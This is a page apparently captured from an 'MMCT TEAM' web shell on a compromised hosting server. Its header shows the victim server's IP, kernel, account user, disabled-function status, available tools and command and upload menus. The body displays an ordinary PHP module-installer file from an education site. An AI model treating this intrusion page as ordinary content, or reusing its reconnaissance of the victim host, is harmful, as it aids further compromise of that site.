MMCT TEAM
Server IP : 192.185.129.71  /  Your IP : 3.145.81.212
Web Server : Apache
System : Linux bh-ht-3.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : svymadmin ( 4072)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home4/svymadmin/public_html/vivekaexcel.edu.in/bkp/application/libraries/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home4/svymadmin/public_html/vivekaexcel.edu.in/bkp/application/libraries/App_module_installer.php
<?php

defined('BASEPATH') or exit('No direct script access allowed');

use app\services\zip\Unzip;

class App_module_installer
{
    private $ci;

    public function __construct()
    {
        $this->ci = &get_instance();
    }

    /**
     * Upload module
     * @return array
     */
    public function from_upload()
    {
        if (isset($_FILES['module']) && _perfex_upload_error($_FILES['module']['error'])) {
            return [
                    'error'   => _perfex_upload_error($_FILES['file']['error']),
                    'success' => false,
            ];
        }

        if (isset($_FILES['module']['name'])) {
            hooks()->do_action('pre_upload_module', $_FILES['module']);

            $response = ['success' => false, 'error' => ''];

            // Get the temp file path
            $uploadedTmpZipPath = $_FILES['module']['tmp_name'];

            $unzip = new Unzip();

            $moduleTemporaryDir = get_temp_dir() . time() . '/';

            try {
                $unzip->extract($uploadedTmpZipPath, $moduleTemporaryDir);

                if ($this->check_module($moduleTemporaryDir) === false) {
                    $response['error'] = 'No valid module is found.';
                } else {
                    $unzip->extract($uploadedTmpZipPath, APP_MODULES_PATH);
                    hooks()->do_action('module_installed', $_FILES['module']);
                    $response['success'] = true;
                }

                $this->clean_up_dir($moduleTemporaryDir);
            } catch (Exception $e) {
                $response['error'] = $e->getMessage();
            }

            return $response;
        }
    }

    public function check_module($source)
    {
        // Check the folder contains at least 1 valid module.
        $modules_found = false;

        $files = get_dir_contents($source);

        if ($files) {
            foreach ($files as $file) {
                if (endsWith($file, '.php')) {
                    $info = $this->ci->app_modules->get_headers($file);
                    if (isset($info['module_name']) && !empty($info['module_name'])) {
                        $modules_found = true;

                        break;
                    }
                }
            }
        }

        if (!$modules_found) {
            return false;
        }

        return $source;
    }

    private function clean_up_dir($source)
    {
        delete_files($source);
        delete_dir($source);
    }
}

MMCT - 2023